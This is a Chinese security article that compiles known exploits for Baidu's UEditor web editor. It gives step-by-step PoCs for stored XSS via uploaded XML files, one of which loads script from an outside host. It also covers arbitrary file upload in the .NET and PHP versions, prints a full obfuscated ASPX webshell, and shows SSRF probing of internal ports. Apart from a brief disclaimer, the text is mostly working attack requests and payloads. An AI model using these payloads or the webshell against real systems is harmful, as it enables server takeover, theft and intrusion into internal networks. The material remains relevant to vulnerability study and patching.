百度Ueditor编辑器漏洞总结

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。0x01 前言这篇文章是在某知识星球里看到的,感觉这位师傅总结的挺好,将网上已公开的Ueditor编辑器漏洞都整合在一起了,所以想着通过公众号让更多有需要的人看到,如作者看到这文章认为有不妥,还请联系删除,谢谢!0x02 XML文件上传导致存储型XSS测试版本:php版 v1.4.3.3下载地址:https://github.com/fex-team/ueditor复现步骤:1.上传一个图片文件

2. 然后buprsuit抓包拦截

3.将uploadimage类型改为uploadfile,并修改文件后缀名为xml,最后复制上xml代码即可

4.即可弹出xss

请注意controller.xxx的访问路径http://192.168.10.1/ueditor1433/php/controller.php?action=listfile

常见的xml弹窗POC:弹窗xss:<html><head></head><body><something:script xmlns:something='http://www.w3.org/1999/xhtml'>alert(1);</something:script></body></html>URL跳转:<html><head></head><body><something:script xmlns:something='http://www.w3.org/1999/xhtml'>window.location.href='https://www.t00ls.net/';</something:script></body></html>远程加载Js:<html><head></head><body><something:script src='http://xss.com/xss.js' xmlns:something='http://www.w3.org/1999/xhtml'></something:script></body></html>常用的上传路径:/ueditor/index.html/ueditor/asp/controller.asp?action=uploadimage/ueditor/asp/controller.asp?action=uploadfile/ueditor/net/controller.ashx?action=uploadimage/ueditor/net/controller.ashx?action=uploadfile/ueditor/php/controller.php?action=uploadfile/ueditor/php/controller.php?action=uploadimage/ueditor/jsp/controller.jsp?action=uploadfile/ueditor/jsp/controller.jsp?action=uploadimage常用的上传路径:/ueditor/net/controller.ashx?action=listfile/ueditor/net/controller.ashx?action=listimage0x03 文件上传漏洞1. NET版本文件上传该任意文件上传漏洞存在于1.4.3.3、1.5.0和1.3.6版本中,并且只有**.NET**版本受该漏洞影响。黑客可以利用该漏洞上传木马文件,执行命令控制服务器。

ueditor中已经下架.net版本,但历史版本中可以下载1.4.3版本,但是否是1.4.3.3目前还没验证。

该漏洞是由于上传文件时,使用的CrawlerHandler类未对文件类型进行检验,导致了任意文件上传。1.4.3.3和1.5.0版本利用方式稍有不同,1.4.3.3需要一个能正确解析的域名。而1.5.0用IP和普通域名都可以。相对来说1.5.0版本更加容易触发此漏洞;而在1.4.3.3版本中攻击者需要提供一个正常的域名地址就可以绕过判断;(1) ueditor .1.5.0.net版本首先1.5.0版本进行测试,需要先在外网服务器上传一个图片木马,比如:1.jpg/1.gif/1.png都可以,下面x.x.x.x是外网服务器地址,source[]参数值改为图片木马地址,并在结尾加上“?.aspx”即可getshell,利用POC:POST /ueditor/net/controller.ashx?action=catchimagesource%5B%5D=http%3A%2F%2Fx.x.x.x/1.gif?.aspx

(2) ueditor.1.4.3.3 .net版1.本地构造一个html,因为不是上传漏洞所以enctype 不需要指定为multipart/form-data, 之前见到有poc指定了这个值。完整的poc如下:<form action='http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage' enctype='application/x-www-form-urlencoded'  method='POST'>  <p>shell addr: <input type='text' name='source[]' /></p >  <input type='submit' value='Submit' /></form>

2.需准备一个图片马儿,远程shell地址需要指定扩展名为 1.gif?.aspx,1.gif图片木马(一句话木马:密码:hello)如下:GIF89a<script runat='server' language='JScript'> function popup(str) { var q = 'u'; var w = 'afe'; var a = q 'ns' w; var b= eval(str,a); return(b); }</script><% popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String('UmVxdWVzdC5JdGVtWyJoZWxsbyJd')))); %>

成功后,会返回马儿地址。(3) ueditor.1.3.6 .net1版本使用%00截断的方式上传绕过

0x04 PHP版本的文件上传利用poc:POST http://localhost/ueditor/php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]=fuck HTTP/1.1Host: localhostConnection: keep-aliveContent-Length: 222Cache-Control: max-age=0Origin: nullUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/60.0.3112.78 Safari/537.36Content-Type: multipart/form-data; boundary=——WebKitFormBoundaryDMmqvK6b3ncX4xxAAccept:text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4———WebKitFormBoundaryDMmqvK6b3ncX4xxAContent-Disposition: form-data; name='fuck'; filename='fuck.php'Content-Type: application/octet-stream<?php phpinfo();?>———WebKitFormBoundaryDMmqvK6b3ncX4xxA—shell路径由CONFIG[imagePathFormat]=ueditor/php/upload/fuck决定http://localhost/ueditor/php/upload/fuck.php0x05 SSRF漏洞该漏洞存在于1.4.3的jsp版本中。但1.4.3.1版本已经修复了该漏洞。

已知该版本ueditor的ssrf触发点:/jsp/controller.jsp?action=catchimage&source[]=/jsp/getRemoteImage.jsp?upfile=/php/controller.php?action=catchimage&source[]=使用百度logo构造poc:http://1.1.1.1:8080/cmd/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.pngPoc如下,同样是该controller文件,构造source参数,即可进行内网相关端口探测。/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif这里可以根据页面返回的结果不同,来判断该地址对应的主机端口是否开放。可以总结为以下几点:1.如果抓取不存在的图片地址时,页面返回如下,即state为“远程连接出错”。{“state”: “SUCCESS”, list:[{“state”:'\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519'} ]}2.如果成功抓取到图片,页面返回如下,即state为“SUCCESS”。{“state”: “SUCCESS”, list: [{“state”:“SUCCESS”,“size”:“5103”,“source”:“http://192.168.135.133:8080/tomcat.png”,“title”:“1527173588127099881.png”,“url”:'/ueditor/jsp/upload/image/20180524/1527173588127099881.png'}]}3.如果主机无法访问,页面返回如下,即state为“抓取远程图片失败”。{“state”:“SUCCESS”, list: [{“state”:“\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25”}]}还有一个版本的ssrf漏洞 ,存在于onethink 1.0中的ueditor,测试版本为1.2直接贴Poc:POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1Host: targetUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101Firefox/55.0Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 37Connection: keep-aliveupfile=https://www.google.com/?%23.jpg0x06 另一处XSS漏洞首先安装部署环境:https://github.com/fex-team/ueditor/releases/tag/v1.4.3.3存储型XSS需要写入后端数据库,这里要把编辑器部署到一个可与数据库交互的环境中。首先我们打开编辑器输入正常的文本。

抓包并将<p>标签以及原本的文本删除:

插入payload:%3Cp%3E1111111'><ImG sRc=1 OnErRoR=prompt(1)>%3Cbr%2F%3E%3C%2Fp%3E

(0)

相关推荐